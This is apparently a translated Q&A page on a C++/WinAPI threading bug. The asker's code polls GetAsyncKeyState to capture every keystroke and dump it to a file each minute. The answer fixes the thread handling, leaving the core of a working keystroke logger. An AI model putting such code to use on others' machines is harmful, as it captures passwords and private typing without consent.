首页 > 解决方案 > 线程只运行一次,但他处于无限循环中

问题描述

因此,我试图获取所有 KEYSTROKES 并在一分钟内将其全部保存在文件中。所以我得到了while循环来获取KEYSTROKES,第一次一切都很顺利,但之后线程没有接近函数。什么都没有崩溃,但结果是不可接受的。

string content = ""; // global
while (true)
{
   std::thread t(WriteKeyStrokesToFile);
   for (keyStroke = 8; keyStroke < 190; keyStroke++)
   {
       if (GetAsyncKeyState(keyStroke) & 0x0001)
       {
           if (KeyIsSpecial(keyStroke) == false)
           {
                content += keyStroke;
                cout << keyStroke;
           }
       }
   }
   t.detach();
}
void WriteKeyStrokesToFile()
  {
   std::this_thread::sleep_for(std::chrono::seconds(60));
   //open file and upload content to file
   content = ""; //empty the content
  }

标签: c++multithreadingwinapi

解决方案


函数 WriteKeyStrokesToFile 仅被调用一次

应该如此。一个线程只运行一次它的功能。当函数退出时,就是这样,线程就完成了。您无法重新启动线程,您所能做的就是创建一个新线程。

为什么线程只工作 1 次,尽管他处于无限循环中。

因为您根本没有线程内部的循环。您有一个在线程外运行的代码循环,向线程提供数据。

要做你想做的事,只需在你的WriteKeyStrokesToFile()函数内添加一个循环,让它继续运行。并且不要在线程外运行的循环的每次迭代中创建一个新线程。

std::string content = ""; // global
std::mutex content_mutex;

void WriteKeyStrokesToFile()
{
    while (true) {
        std::this_thread::sleep_for(std::chrono::seconds(60));
        std::lock_guard<std::mutex> g(content_mutex);
        //open file and upload content to file
        content = ""; //empty the content
    }
}

void AddKeyStroke(char keyStroke)
{
    std::lock_guard<std::mutex> g(content_mutex);
    content += keyStroke;
}

int main()
{
    std::thread t(WriteKeyStrokesToFile);

    while (true) {
        for (keyStroke = 8; keyStroke < 190; keyStroke++) {
            if (GetAsyncKeyState(keyStroke) & 0x0001) {
                if (KeyIsSpecial(keyStroke) == false) {
                    AddKeyStroke(keyStroke);
                    std::cout << keyStroke;
                }
            }
        }
    }

    t.join();
    return 0;
}

推荐阅读